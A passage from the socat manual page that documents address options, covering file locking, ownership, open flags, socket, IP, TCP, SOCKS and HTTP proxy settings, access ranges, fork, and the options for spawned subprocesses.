Tries to set a blocking exclusive advisory lock to the file using the flock(fd, LOCK_EX) system call. Socat hangs in this call if the file is locked by another process.

flock-ex-nb[=<bool>]
Tries to set a nonblocking exclusive advisory lock to the file using the flock(fd, LOCK_EX|LOCK_NB) system call. If the file is already locked, this option results in an error.

flock-sh[=<bool>]
Tries to set a blocking shared advisory lock to the file using the flock(fd, LOCK_SH) system call. Socat hangs in this call if the file is locked by another process.

flock-sh-nb[=<bool>]
Tries to set a nonblocking shared advisory lock to the file using the flock(fd, LOCK_SH|LOCK_NB) system call. If the file is already locked, this option results in an error.

lock[=<bool>]
Sets a blocking lock on the file. Uses the setlk or flock mechanism depending on availability on the particular platform. If both are available, the POSIX variant (setlkw) is used.

user=<user>
Sets the <user> (owner) of the stream. If the address is member of the NAMED option group, socatuses the chown() system call after opening the file or binding to the UNIX domain socket (race condition!). Without filesystem entry, socatsets the user of the stream using the fchown() system call. These calls might require root privilege.

user-late=<user>
Sets the owner of the fd to <user> with the fchown() system call after opening or connecting the channel. This is useful only on file system entries.

group=<group>
Sets the <group> of the stream. If the address is member of the NAMED option group, socatuses the chown() system call after opening the file or binding to the UNIX domain socket (race condition!). Without filesystem entry, socatsets the group of the stream with the fchown() system call. These calls might require group membership or root privilege.

group-late=<group>
Sets the group of the fd to <group> with the fchown() system call after opening or connecting the channel. This is useful only on file system entries.

mode=<mode>
Sets the <mode> [mode_t] (permissions) of the stream. If the address is member of the NAMED option group and uses the open() or creat() call, the mode is applied with these. If the address is member of the NAMED option group without using these system calls, socatuses the chmod() system call after opening the filesystem entry or binding to the UNIX domain socket (race condition!). Otherwise, socat sets the mode of the stream using fchmod() . These calls might require ownership or root privilege.

perm-late=<mode>
Sets the permissions of the fd to value <mode> [mode_t] using the fchmod() system call after opening or connecting the channel. This is useful only on file system entries.

append[=<bool>]
Always writes data to the actual end of file. If the address is member of the OPEN option group, socatuses the O_APPEND flag with the open() system call (example). Otherwise, socatapplies the fcntl(fd, F_SETFL, O_APPEND) call.

nonblock[=<bool>]
Tries to open or use file in nonblocking mode. Its only effects are that the connect() call of TCP addresses does not block, and that opening a named pipe for reading does not block. If the address is member of the OPEN option group, socatuses the O_NONBLOCK flag with the open() system call. Otherwise, socatapplies the fcntl(fd, F_SETFL, O_NONBLOCK) call.

binary[=<bool>]
Opens the file in binary mode to avoid implicit line terminator conversions (Cygwin).

text[=<bool>]
Opens the file in text mode to force implicit line terminator conversions (Cygwin).

noinherit[=<bool>]
Does not keep this file open in a spawned process (Cygwin).

cool-write[=<bool>]
Takes it easy when write fails with EPIPE or ECONNRESET and logs the message with noticelevel instead oferror. This prevents the log file from being filled with useless error messages when socat is used as a high volume server or proxy where clients often abort the connection. Use this option only with option fork because otherwise it might cause socat to exit with code 0 even on failure.
This option is deprecated, consider using option children-shutup instead.

end-close[=<bool>]
Changes the (address dependent) method of ending a connection to just close the file descriptors. This is useful when the connection is to be reused by or shared with other processes (example).
Normally, socket connections will be ended with shutdown(2)`` which terminates the socket even if it is shared by multiple processes. close(2)`` "unlinks" the socket from the process but keeps it active as long as there are still links from other processes.
Similarly, when an address of type EXEC or SYSTEM is ended, socat usually will explicitly kill the sub process. With this option, it will just close the file descriptors.

shut-none[=<bool>]
Changes the (address dependent) method of shutting down the write part of a connection to not do anything.

shut-down[=<bool>]
Changes the (address dependent) method of shutting down the write part of a connection to shutdown(fd, SHUT_WR). Is only useful with sockets.

shut-close[=<bool>]
Changes the (address dependent) method of shutting down the write part of a connection to close(fd).

shut-null[=<bool>]
When one address indicates EOF, socat will send a zero sized packet to the write channel of the other address to transfer the EOF condition. This is useful with UDP and other datagram protocols. Has been tested against netcat and socat with option null-eof.

null-eof[=<bool>]
Normally socat will ignore empty (zero size payload) packets arriving on datagram sockets, so it survives port scans. With this option socat interprets empty datagram packets as EOF indicator (see shut-null).

ioctl-void=<request>
Calls ioctl()`` with the request value as second argument and NULL as third argument. This option allows utilizing ioctls that are not explicitly implemented in socat.

ioctl-int=<request>:<value>
Calls ioctl()`` with the request value as second argument and the integer value as third argument.

ioctl-intp=<request>:<value>
Calls ioctl()`` with the request value as second argument and a pointer to the integer value as third argument.

ioctl-bin=<request>:<value>
Calls ioctl()`` with the request value as second argument and a pointer to the given data value as third argument. This data must be specified in <dalan> form.

ioctl-string=<request>:<value>
Calls ioctl()`` with the request value as second argument and a pointer to the given string as third argument. <dalan> form.

NAMED option group

These options work on file system entries.
Please note that, with UNIX domain client addresses, this means the bind entry, not the target/peer entry.
See also options user, group, and mode.

user-early=<user>
Changes the <user> (owner) of the file system entry before accessing it, using the chown() system call. This call might require root privilege.

group-early=<group>
Changes the <group> of the file system entry before accessing it, using the chown() system call. This call might require group membership or root privilege.

perm-early=<mode>
Changes the <mode> [mode_t] of the file system entry before accessing it, using the chmod() system call. This call might require ownership or root privilege.

unlink-early[=<bool>]
Unlinks (removes) the file before opening it and even before applying user-early etc.

unlink[=<bool>]
Unlinks (removes) the file before accessing it, but after user-early etc.

unlink-late[=<bool>]
Unlinks (removes) the file after opening it to make it inaccessible for other processes after a short race condition.

unlink-close[=<bool>]
Controls removal of the addresses file system entry when closing the address. For named pipes, UNIX domain sockets, and the symbolic links of pty addresses, the default is remove (1); for created files, opened files, and generic opened files the default is keep (0). Setting this option to 1 removes the entry, 0 keeps it. No value means 1.

OPEN option group

The OPEN group options allow setting flags with the open() system call. E.g., option `creat’ sets the O_CREAT flag. When the used address does not use open() (e.g.STDIO), the fcntl(..., F_SETFL, ...) call is used instead.
See also options append and nonblock.

creat[=<bool>]
Creates the file if it does not exist (example).

dsync[=<bool>]
Blocks write() calls until metainfo is physically written to media.

excl[=<bool>]
With option creat, if file exists this is an error.

largefile[=<bool>]
On 32 bit systems, allows a file larger than 2^31 bytes.

noatime[=<bool>]
Sets the O_NOATIME options, so reads do not change the access timestamp.

noctty[=<bool>]
Does not make this file the controlling terminal.

nofollow[=<bool>]
Does not follow symbolic links.

nshare[=<bool>]
Does not allow sharing this file with other processes.

rshare[=<bool>]
Does not allow other processes to open this file for writing.

rsync[=<bool>]
Blocks write() until metainfo is physically written to media.

sync[=<bool>]
Blocks write() until data is physically written to media.

rdonly[=<bool>]
Opens the file for reading only.

wronly[=<bool>]
Opens the file for writing only.

trunc[=<bool>]
Truncates the file to size 0 during opening it.

REG and BLK option group

These options are usually applied to a UN*X file descriptor, but their semantics make sense only on a file supporting random access.

seek=<offset>
Applies the lseek(fd, <offset>, SEEK_SET) (or lseek64 ) system call, thus positioning the file pointer absolutely to <offset> [off_t or off64_t]. Please note that a missing value defaults to 1, not 0.

seek-cur=<offset>
Applies the lseek(fd, <offset>, SEEK_CUR) (or lseek64 ) system call, thus positioning the file pointer <offset> [off_t or off64_t] bytes relatively to its current position (which is usually 0). Please note that a missing value defaults to 1, not 0.

seek-end=<offset>
Applies the lseek(fd, <offset>, SEEK_END) (or lseek64 ) system call, thus positioning the file pointer <offset> [off_t or off64_t] bytes relatively to the files current end. Please note that a missing value defaults to 1, not 0.

ftruncate=<offset>
Applies the ftruncate(fd, <offset>) (or ftruncate64 if available) system call, thus truncating the file at the position <offset> [off_t or off64_t]. Please note that a missing value defaults to 1, not 0.

secrm[=<bool>]

unrm[=<bool>]

compr[=<bool>]

fs-sync[=<bool>]

immutable[=<bool>]

fs-append[=<bool>]

nodump[=<bool>]

fs-noatime[=<bool>]

journal-data[=<bool>]

notail[=<bool>]

dirsync[=<bool>]
These options change non standard file attributes on operating systems and file systems that support these features, like Linux with ext2fs and successors, xfs, or reiserfs. See man 1 chattr for information on these options. Please note that there might be a race condition between creating the file and applying these options.

PIPE options

These options may be applied to pipes (fifos).

f-setpipe-sz=<int>

setpipe=<int>
Set the number of bytes a pipe can buffer. Where more bytes are written the writing process might block. When more bytes are written in a single write()`` the writing process blocks and might never recover.

General address options

These options may be applied to all address types. They change some process properties that are restored after opening the address.

chdir=<filename>

cd=<filename>
Changes the working directory. After opening the address the master process changes back to the original working directory. Sub processes inherit the temporary setting.

umask=<mode>
Sets the umask of the process to <mode> [mode_t] before opening the address. Useful when file system entries are created or a shell or program is invoked. Usually the value is specified as octal number.
The processes umask`` value is inherited by child processes. Note: umask is an inverted value: creating a file with umask=0026 results in permissions 0640.

PROCESS option group

Options of this group change the process properties instead of just affecting one data channel. For EXEC and SYSTEM addresses and for LISTEN and CONNECT type addresses with option fork, these options apply to the child processes instead of the main socat process.

chroot=<directory>
Performs a chroot() operation to <directory> after processing the address (example). This call might require root privilege.

chroot-early=<directory>
Performs a chroot() operation to <directory> before opening the address. This call might require root privilege.

setgid=<group>
Changes the primary <group> of the process after processing the address. This call might require root privilege. Please note that this option does not drop other group related privileges.

setgid-early=<group>
Like setgit but is performed before opening the address.

setuid=<user>
Changes the <user> (owner) of the process after processing the address. This call might require root privilege. Please note that this option does not drop group related privileges. Check if option su better fits your needs.

setuid-early=<user>
Like setuid but is performed before opening the address.

su=<user>
Changes the <user> (owner) and groups of the process after processing the address (example). This call might require root privilege.

su-d=<user>
Short name for substuser-delayed``. Changes the <user> (owner) and groups of the process after processing the address (example). The user and his groups are retrieved before a possible chroot() . This call might require root privilege.

setpgid=<pid_t>
Makes the process a member of the specified process group <pid_t>. If no value is given, or if the value is 0 or 1, the process becomes leader of a new process group.

setsid
Makes the process the leader of a new session (example).

netns=<net-namespace-name>
Before opening the address it tries to switch to the named network namespace. After opening the address it switches back to the previous namespace. (Example with TCP forwarder, example with virtual network connection.
Only on Linux; requires root; use option --experimental``.

READLINE option group

Due to licensing restrictions the readline feature is disabled in Debian (see BUGS).
These options apply to the readline address type.

history=<filename>
Reads and writes history from/to <filename> (example).

noprompt
Since version 1.4.0, socat per default tries to determine a prompt - that is then passed to the readline call - by remembering the last incomplete line of the output. With this option, socat does not pass a prompt to readline, so it begins line editing in the first column of the terminal.

noecho=<pattern>
Specifies a regular pattern for a prompt that prevents the following input line from being displayed on the screen and from being added to the history. The prompt is defined as the text that was output to the readline address after the lastest newline character and before an input character was typed. The pattern is a regular expression, e.g. “^[Pp]assword:.*$” or “([Uu]ser:|[Pp]assword:)”. See regex(7) for details. (example)

prompt=<string>
Passes the string as prompt to the readline function. readline prints this prompt when stepping through the history. If this string matches a constant prompt issued by an interactive program on the other socat address, consistent look and feel can be achieved.

APPLICATION option group

This group contains options that work at data level. Note that these options only apply to the “raw” data transferred by socat, but not to protocol data used by addresses like PROXY.

cr
Converts the default line termination character NL (’ ’, 0x0a) to/from CR (’ ’, 0x0d) when writing/reading on this channel.

crnl
Converts the default line termination character NL (’ ’, 0x0a) to/from CRNL (” “, 0x0d0a) when writing/reading on this channel (example). Note: socat simply strips all CR characters.

ignoreeof
When EOF occurs on this channel, socat ignores it and tries to read more data (like “tail -f”) (example).

readbytes=<bytes>
socat reads only so many bytes from this address (the address provides only so many bytes for transfer and pretends to be at EOF afterwards). Must be greater than 0.

lockfile=<filename>
If lockfile exists, exits with error. If lockfile does not exist, creates it and continues, unlinks lockfile on exit.

waitlock=<filename>
If lockfile exists, waits until it disappears. When lockfile does not exist, creates it and continues, unlinks lockfile on exit.

escape=<int>
Specifies the numeric code of a character that triggers EOF on the input stream. It is useful with a terminal in raw mode (example).

SOCKET option group

These options are intended for all kinds of sockets, e.g. IP or UNIX domain. Most are applied with a setsockopt() call.

bind=<sockname>
Binds the socket to the given socket address using the bind() system call. The form of <sockname> is socket domain dependent: IP4 and IP6 allow the form [hostname|hostaddress][:(service|port)] (example), VSOCK allows the form [cid][:(port)].
See also: unix-bind-tempname

connect-timeout=<seconds>
Abort the connection attempt after <seconds> [timeval] with error status.

so-bindtodevice=<interface>
Binds the socket to the given <interface>. This option might require root privilege.

broadcast
For datagram sockets, allows sending to broadcast addresses and receiving packets addressed to broadcast addresses.

debug
Enables socket debugging.

dontroute
Only communicates with directly connected peers, does not use routers.

keepalive
Enables sending keepalives on the socket.

linger=<seconds>
Blocks shutdown() or close() until data transfers have finished or the given timeout [int] expired.

oobinline
Places out-of-band data in the input data stream.

priority=<priority>
Sets the protocol defined <priority> [<int>] for outgoing packets.

rcvbuf=<bytes>
Sets the size of the receive buffer after the socket() call to <bytes> [int]. With TCP sockets, this value corresponds to the socket’s maximal window size.

rcvbuf-late=<bytes>
Sets the size of the receive buffer when the socket is already connected to <bytes> [int]. With TCP sockets, this value corresponds to the socket’s maximal window size.

so-rcvtimeo=<time>, rcvtimeo=<time>
Specifies the time [int] until recv() , read() etc. functions timeout when no data is received. Note that in the transfer phase socatonly calls these functions when select() has reported that data is available. However this option is useful with DTLS addresses to timeout during connection negotiation.

so-sndtimeo=<time>, sndtimeo=<time>
Like so-recvtimeo, but for send . Not usecase known.

rcvlowat=<bytes>
Specifies the minimum number of received bytes [int] until the socket layer will pass the buffered data to socat.

reuseaddr[=[0|1]]
Allows other sockets to bind to an address even if parts of it (e.g. the local port) are already in use by socat.
With version 1.8.0, this socket option is set automatically for TCP LISTEN addresses. If you prefer the system default (no related setsockopt(...SO_REUSEADDR...)`` call at all), use form ``reuseaddr=``.
(example).

sndbuf=<bytes>
Sets the size of the send buffer after the socket() call to <bytes> [int].

sndbuf-late=<bytes>
Sets the size of the send buffer when the socket is connected to <bytes> [int].

sndlowat=<bytes>
Specifies the minimum number of bytes in the send buffer until the socket layer will send the data to <bytes> [int].

pf=<string>
Forces the use of the specified IP version or protocol. <string> can be something like “ip4” or “ip6”. The resulting value is used as first argument to the socket() or socketpair() calls. This option affects address resolution and the required syntax of bind and range options.

socktype=<type>
Sets the type of the socket, specified as second argument to the socket() or socketpair() calls, to <type> [int]. Address resolution is not affected by this option. Under Linux, 1 means stream oriented socket, 2 means datagram socket, 3 means raw socket, and 5 seqpacket (stream keeping packet boundaries). Datagrams are useful when you want to keep packet boundaries.

protocol
Sets the protocol of the socket, specified as third argument to the socket() or socketpair() calls, to <protocol> [int]. Address resolution is not affected by this option. 6 means TCP, 17 means UDP.

reuseport
Set the SO_REUSEPORT socket option.

so-timestamp
Sets the SO_TIMESTAMP socket option. This enables receiving and logging of timestamp ancillary messages.

setsockopt=<level>:<optname>:<optval>
Invokes setsockopt()`` for the socket with the given parameters. ``level [int] is used as second argument to setsockopt()`` and specifies the layer, e.g. SOL_TCP for TCP (6 on Linux), or SOL_SOCKET for the socket layer (1 on Linux). optname`` [int] is the third argument to setsockopt()`` and tells which socket option is to be set. For the actual numbers you might have to look up the appropriate include files of your system. For the 4th and 5th setsockopt()`` parameters, value`` [dalan] specifies an arbitrary sequence of bytes that are passed to the function per pointer, with the automatically derived length parameter.

setsockopt-int=<level>:<optname>:<optval>
Like setsockopt``, but <optval> is a pointer to int [int]

setsockopt-listen=<level>:<optname>:<optval>
Like setsockopt``, but for listen type addresses it is applied to the listening socket instead of the connected socket.

setsockopt-string=<level>:<optname>:<optval>
Like setsockopt``, but <optval> is a string. This string is passed to the function with trailing null character, and the length parameter is automatically derived from the data.

UNIX option group

These options apply to UNIX domain based addresses.

“bind-tempname[=/tmp/pre-XXXXXX],
unix-bind-tempname[=/tmp/pre-XXXXXX]" Binds to a random path or random address (on abstract namespace sockets). This is useful with datagram client addresses (SENDTO``, or ``CLIENT``) that are opened in child processes forked off from a common parent process where the child processes cannot have different bind options. In the path X ’s get replaced with a random character sequence similar to tempnam(3). When no argument is given socat takes a default like /tmp/fileXXXXXX .

unix-tightsocklen[=(0|1)]
On socket operations, pass a socket address length that does not include the whole struct sockaddr_un record but (besides other components) only the relevant part of the filename or abstract string. Default is 1.

IP4 and IP6 option groups

These options can be used with IPv4 and IPv6 based sockets.

tos=<tos>
Sets the TOS (type of service) field of outgoing packets to <tos> [byte] (see RFC 791).

ttl=<ttl>
Sets the TTL (time to live) field of outgoing packets to <ttl> [byte].

ip-options=<data>
Sets IP options like source routing. Must be given in binary form, recommended format is a leading “x” followed by an even number of hex digits. This option may be used multiple times, data are appended. E.g., to connect to host 10.0.0.1 via some gateway using a loose source route, use the gateway as address parameter and set a loose source route using the option ip-options=x8307040a000001 .
IP options are defined in RFC 791.

mtudiscover=<0|1|2>
Takes 0, 1, 2 to never, want, or always use path MTU discover on this socket.

ip-pktinfo
Sets the IP_PKTINFO socket option. This enables receiving and logging of ancillary messages containing destination address and interface (Linux) (example).

ip-recverr
Sets the IP_RECVERR socket option. This enables receiving and logging of ancillary messages containing detailed error information.

ip-recvopts
Sets the IP_RECVOPTS socket option. This enables receiving and logging of IP options ancillary messages (Linux, *BSD).

ip-recvtos
Sets the IP_RECVTOS socket option. This enables receiving and logging of TOS (type of service) ancillary messages (Linux).

ip-recvttl
Sets the IP_RECVTTL socket option. This enables receiving and logging of TTL (time to live) ancillary messages (Linux, *BSD).

ip-recvdstaddr
Sets the IP_RECVDSTADDR socket option. This enables receiving and logging of ancillary messages containing destination address (*BSD) (example).

ip-recvif
Sets the IP_RECVIF socket option. This enables receiving and logging of interface ancillary messages (*BSD) (example).

ip-add-membership=<multicast-address:interface-address>

ip-add-membership=<multicast-address:interface-name>

ip-add-membership=<multicast-address:interface-index>

ip-add-membership=<multicast-address:interface-address:interface-name>

ip-add-membership=<multicast-address:interface-address:interface-index>
Makes the socket member of the specified multicast group. This only works for IPv4, see ipv6-join-group for the IPv6 variant. The option takes the IP address of the multicast group and info about the desired network interface. The most common syntax is the first one, while the others are only available on systems that provide struct mreqn`` (Linux).
The indices of active network interfaces can be shown using the utility procan.

ip-add-source-membership=<multicast-address:interface-address:source-address>
Makes the socket member of the specified multicast group for the specified source, i.e. only multicast traffic from this address is to be delivered. This only works for IPv4, see ipv6-join-source-group for the IPv6 variant. The option takes the IP address of the multicast group, the IP address of the desired network interface and the source IP address of the multicast traffic.

ipv6-join-group=<multicast-address:interface-name>

ipv6-join-group=<multicast-address:interface-index>
Makes the socket member of the specified multicast group. This only works for IPv6, see ip-add-membership for the IPv4 variant. The option takes the IP address of the multicast group and info about the desired network interface. The indices of active network interfaces can be shown using the utility procan.

ipv6-join-source-group=<multicast-address:interface-name:source-address>

ipv6-join-source-group=<multicast-address:interface-index:source-address>
Makes the socket member of the specified multicast group for the specified source, i.e. only multicast traffic from this address is to be delivered. This only works for IPv6, see ip-add-source-membership for the IPv4 variant. The option takes the IP address of the multicast group, info about the desired network interface and the source IP address of the multicast traffic. The indices of active network interfaces can be shown using the utility procan.

ip-multicast-if=<hostname>
Specifies hostname or address of the network interface to be used for multicast traffic.

ip-multicast-loop[=<bool>]
Specifies if outgoing multicast traffic should loop back to the interface.

ip-multicast-ttl=<byte>
Sets the TTL used for outgoing multicast traffic. Default is 1.

ip-transparent
Sets the IP_TRANSPARENT socket option. This option might require root privilege.

Resolver options

These options temporarily change the behaviour of hostname resolution. The options of form ai-* affect behaviour of the getaddrinfo() function that includes /etc/hosts and NIS based lookups.

The addresses of form res-* only affect DNS lookups, and only when the result is not cached in nscd . These options might not work on all operating systems or libc implementations.

ai-addrconfig[=0|1]

addrconfig[=0|1]
Sets or unsets the AI_ADDRCONFIG flag to prevent name resolution to address families that are not available on the computer (e.g. IPv6). Default value is 1 in case the resolver does not get an address family hint from Socat address or defaults.

ai-passive[=0|1]

passive[=0|1]
Sets of unsets the AI_PASSIVE flag for getaddrinfo() calls. Default is 1 for LISTEN, RECV, and RECVFROM type addresses, and with bind option.

ai-v4mapped[=0|1]

v4mapped[=0|1]
Sets or unsets the AI_V4MAPPED flag for getaddrinfo() . With socat addresses requiring IPv6 addresses, this resolves IPv4 addresses to the approriate IPv6 address [::ffff:*:*]. For IPv6 Socat addresses, the default is 1.

res-debug

res-aaonly

res-usevc

res-primary

res-igntc

res-recurse

res-defnames

res-stayopen

res-dnsrch
These options set the corresponding resolver (name resolution) option flags. Append “=0” to clear a default option. See man resolver(5) for more information on these options. Socat restores the old values after finishing the open phase of the address, so these options are valid just for the address they are applied to.
Please note that these flags only affect DNS resolution, but not hosts or NIS based name resolution, and they have no effect when (g)libc retrieves the results from nscd .

res-retrans=<int>
Sets the retransmission time interval of the DNS resolver (based on an undocumented feature).

res-retry=<int>
Sets the number of retransmits of the DNS resolver (based on an undocumented feature).

res-nsaddr=<ipaddr>[:<port>]
Tries to overwrite nameserver settings loaded from /etc/resolv.conf by writing the given IPv4 address into the undocumented _res:nsaddr_list[0] field. /etc/hosts is still checked by resolver. Please note that glibc’s nscd is always queried first when it is running!

IP6 option group

These options can only be used on IPv6 based sockets. See IP options for options that can be applied to both IPv4 and IPv6 sockets.

ipv6only[=<bool>]
Sets the IPV6_V6ONLY socket option. If 0, the TCP stack will also accept connections using IPv4 protocol on the same port. The default is system dependent.

ipv6-recvdstopts
Sets the IPV6_RECVDSTOPTS socket option. This enables receiving and logging of ancillary messages containing the destination options.

ipv6-recvhoplimit
Sets the IPV6_RECVHOPLIMIT socket option. This enables receiving and logging of ancillary messages containing the hoplimit.

ipv6-recvhopopts
Sets the IPV6_RECVHOPOPTS socket option. This enables receiving and logging of ancillary messages containing the hop options.

ipv6-recvpktinfo
Sets the IPV6_RECVPKTINFO socket option. This enables receiving and logging of ancillary messages containing destination address and interface.

ipv6-unicast-hops=link(TYPE_INT)(<int>)
Sets the IPV6_UNICAST_HOPS socket option. This sets the hop count limit (TTL) for outgoing unicast packets.

ipv6-recvrthdr
Sets the IPV6_RECVRTHDR socket option. This enables receiving and logging of ancillary messages containing routing information.

ipv6-tclass
Sets the IPV6_TCLASS socket option. This sets the transfer class of outgoing packets.

ipv6-recvtclass
Sets the IPV6_RECVTCLASS socket option. This enables receiving and logging of ancillary messages containing the transfer class.

TCP option group

These options may be applied to TCP sockets. They work by invoking setsockopt() with the appropriate parameters.

cork
Doesn’t send packets smaller than MSS (maximal segment size).

defer-accept
While listening, accepts connections only when data from the peer arrived.

keepcnt=<count>
Sets the number of keepalives before shutting down the socket to <count> [int].

keepidle=<seconds>
Sets the idle time before sending the first keepalive to <seconds> [int].

keepintvl=<seconds>
Sets the interval between two keepalives to <seconds> [int].

linger2=<seconds>
Sets the time to keep the socket in FIN-WAIT-2 state to <seconds> [int].

mss=<bytes>
Sets the MSS (maximum segment size) after the socket() call to <bytes> [int]. This value is then proposed to the peer with the SYN or SYN/ACK packet (example).

mss-late=<bytes>
Sets the MSS of the socket after connection has been established to <bytes> [int].

nodelay
Turns off the Nagle algorithm for measuring the RTT (round trip time).

rfc1323
Enables RFC1323 TCP options: TCP window scale, round-trip time measurement (RTTM), and protect against wrapped sequence numbers (PAWS) (AIX).

stdurg
Enables RFC1122 compliant urgent pointer handling (AIX).

syncnt=<count>
Sets the maximal number of SYN retransmits during connect to <count> [int].

md5sig
Enables generation of MD5 digests on the packets (FreeBSD).

noopt
Disables use of TCP options (FreeBSD, MacOSX).

nopush
sets the TCP_NOPUSH socket option (FreeBSD, MacOSX).

sack-disable
Disables use the selective acknowledge feature (OpenBSD).

signature-enable
Enables generation of MD5 digests on the packets (OpenBSD).

abort-threshold=<milliseconds>
Sets the time to wait for an answer of the peer on an established connection (HP-UX).

conn-abort-threshold=<milliseconds>
Sets the time to wait for an answer of the server during the initial connect (HP-UX).

keepinit
Sets the time to wait for an answer of the server during connect() before giving up. Value in half seconds, default is 150 (75s) (Tru64).

paws
Enables the “protect against wrapped sequence numbers” feature (Tru64).

sackena
Enables selective acknowledge (Tru64).

tsoptena
Enables the time stamp option that allows RTT recalculation on existing connections (Tru64).

UDP option group

This option may be applied to UDP datagram sockets.

udp-ignore-peerport>
Address UDP-DATAGRAM expects incoming responses to come from the port specified in its second parameter. With this option, it accepts packets coming from any port.

UDPLITE option group

These options may be applied to UDPLITE addresses:

udplite-send-cscov
Sets the number of bytes for which the checksum is calculated and sent (“checksum coverage”).

udplite-recv-cscov
Sets the number of bytes for which the checksum is checked (“checksum coverage”).

SCTP option group

These options may be applied to SCTP stream sockets.

sctp-nodelay
Sets the SCTP_NODELAY socket option that disables the Nagle algorithm.

sctp-maxseg=<bytes>
Sets the SCTP_MAXSEG socket option to <bytes> [int]. This value is then proposed to the peer with the SYN or SYN/ACK packet.

DCCP option group

These options may be applied to DCCP sockets.

dccp-set-ccid=<int>

ccid=<int>
Selects the desired congestion control mechanism (CCID).

UDP, TCP, SCTP, DCCP, and UDPLITE option group

Here we find options that are related to the network port mechanism and thus can be used with UDP, TCP, SCTP, DCCP, and UDP-Lite client and server addresses.

sourceport=<port>
For outgoing (client) connections, it sets the source <port> using an extra bind() call. With TCP or UDP listen addresses, socat immediately shuts down the connection if the client does not use this sourceport. UDP-RECV, UDP-RECVFROM, UDP-SENDTO, and UDP-DATAGRAM addresses ignore the packet when it does not match. (example).

lowport
Outgoing (client) connections with this option use an unused random source port between 640 and 1023 incl. On UNIX class operating systems, this requires root privilege, and thus indicates that the client process is authorized by local root. TCP and UDP listen addresses with this option immediately shut down the connection if the client does not use a sourceport <= 1023. This mechanism can provide limited authorization under some circumstances.

SOCKS option group

When using SOCKS type addresses, some socks specific options can be set.

socksport=<tcp service>
Overrides the default “socks” service or port 1080 for the socks server port with <TCP service>.

socksuser=<user>
Sends the <user> [string] in the username field to the socks server. Default is the actual user name ($LOGNAME or $USER) (example).

HTTP option group

Options that can be provided with HTTP type addresses. The only HTTP address currently implemented is proxy-connect.

http-version=<string>
Changes the default “1.0” that is sent to the server in the initial HTTP request. Currently it has not other effect, in particular it does not provide any means to send a Host header.

proxyport=<TCP service>
Overrides the default HTTP proxy port 8080 with <TCP service>.

ignorecr
The HTTP protocol requires the use of CR+NL as line terminator. When a proxy server violates this standard, socat might not understand its answer. This option directs socat to interprete NL as line terminator and to ignore CR in the answer. Nevertheless, socat sends CR+NL to the proxy.

proxy-authorization=<username>:<password>
Provide “basic” authentication to the proxy server. The argument to the option is used with a “Proxy-Authorization: Basic” header in base64 encoded form.
Note: username and password are visible for every user on the local machine in the process list; username and password are transferred to the proxy server unencrypted (base64 encoded) and might be sniffed.

proxy-authorization-file=<filename>
Like option proxy-authorization, but the credentials are read from the file and therefore not visible in the process list.

resolve
Per default, socat sends to the proxy a CONNECT request containing the target hostname. With this option, socat resolves the hostname locally and sends the IP address. Please note that, according to RFC 2396, only name resolution to IPv4 addresses is implemented.

RANGE option group

These options check if a connecting client should be granted access. They can be applied to listening and receiving network sockets. tcp-wrappers options fall into this group.

range=<address-range>
After accepting a connection, tests if the peer is within range. For IPv4 addresses, address-range takes the form address/bits, e.g. 10.0.0.0/8, or address:mask, e.g. 10.0.0.0:255.0.0.0 (example); for IPv6, it is [ip6-address]/bits, e.g. [::1]/128. If the client address does not match, socat refuses the connection attempt, issues a warning, and keeps listening/receiving.

tcpwrap[=<name>]
Uses Wietse Venema’s libwrap (tcpd) library to determine if the client is allowed to connect. The configuration files are /etc/hosts.allow and /etc/hosts.deny per default, see “man 5 hosts_access” for more information. The optional <name> (type string) is passed to the wrapper functions as daemon process name (example). If omitted, the basename of socats invocation (argv[0]) is passed. If both tcpwrap and range options are applied to an address, both conditions must be fulfilled to allow the connection.

allow-table=<filename>
Takes the specified file instead of /etc/hosts.allow.

deny-table=<filename>
Takes the specified file instead of /etc/hosts.deny.

tcpwrap-etc=<directoryname>
Looks for hosts.allow and hosts.deny in the specified directory. Is overridden by options hosts-allow and hosts-deny.

LISTEN option group

Options specific to listening sockets.

backlog=<count>
Sets the backlog value passed with the listen() system call to <count> [int]. Default is 5.

accept-timeout=<seconds>
End waiting for a connection after <seconds> [timeval] with error status.

CHILD option group

Addresses of LISTEN and CONNECT type take the fork option to handle multiple connections via child processes.

fork
After establishing a connection, handles its channel in a child process and keeps the parent process attempting to produce more connections, either by listening or by connecting in a loop (example).
OPENSSL-CONNECT and OPENSSL-LISTEN differ in when they actually fork off the child: OPENSSL-LISTEN forks before the SSL handshake, while OPENSSL-CONNECT forks afterwards. retry and forever options are not inherited by the child process.
On some operating systems (e.g. FreeBSD) this option does not work for UDP-LISTEN addresses.

max-children=<count>
Limits the number of concurrent child processes [int]. Default is no limit.

children-shutup[=1|2|..]
Decreases the severity of log messages produced by child processes. For example, with value 1 notices are logged as info (or dropped depending on option -dX), and errors are logged as warnings but still cause termination of the child process.
This option is intended to reduce logging of high volume servers or proxies.
This option succeeds option cool-write.

EXEC option group

Options for addresses that invoke a program.

path=<string>
Overrides the PATH environment variable for searching the program with <string>. This $PATH value is effective in the child process too.

login
Prefixes argv[0] for the execvp() call with ’-’, thus making a shell behave as login shell.

FORK option group

EXEC or SYSTEM addresses invoke a program using a child process and transfer data between socat and the program. The interprocess communication mechanism can be influenced with the following options. Per default, a socketpair() is created and assigned to stdin and stdout of the child process, while stderr is inherited from the socat process, and the child process uses file descriptors 0 and 1 for communicating with the main socat process.

nofork
Does not fork a subprocess for executing the program, instead calls execvp() or system() directly from the actual socat instance. This avoids the overhead of another process between the program and its peer, but introduces a lot of restrictions:

  1. this option can only be applied to the second socat address.

  2. it cannot be applied to a part of a dual address.

  3. the first socat address cannot be OPENSSL or READLINE

  4. socat options -b, -t, -D, -l, -v, -x become useless

  5. for both addresses, options ignoreeof, cr, and crnl become useless

  6. for the second address (the one with option nofork), options append, cloexec, flock, user, group, mode, nonblock, perm-late, setlk, and setpgid cannot be applied. Some of these could be used on the first address though.

pipes
Creates a pair of unnamed pipes for interprocess communication instead of a socket pair.

openpty
Establishes communication with the sub process using a pseudo terminal created with openpty() instead of the default (socketpair or ptmx).

ptmx
Establishes communication with the sub process using a pseudo terminal created by opening /dev/ptmxor/dev/ptc instead of the default (socketpair).

pty
Establishes communication with the sub process using a pseudo terminal instead of a socket pair. Creates the pty with an available mechanism. If openpty and ptmx are both available, it uses ptmx because this is POSIX compliant (example).

ctty
Makes the pty the controlling tty of the sub process (example).

stderr
Directs stderr of the sub process to its output channel by making stderr a dup() of stdout (example).

fdin=<fdnum>
Assigns the sub processes input channel to its file descriptor <fdnum> instead of stdin (0). The program started from the subprocess has to use this fd for reading data from socat(example).

fdout=<fdnum>
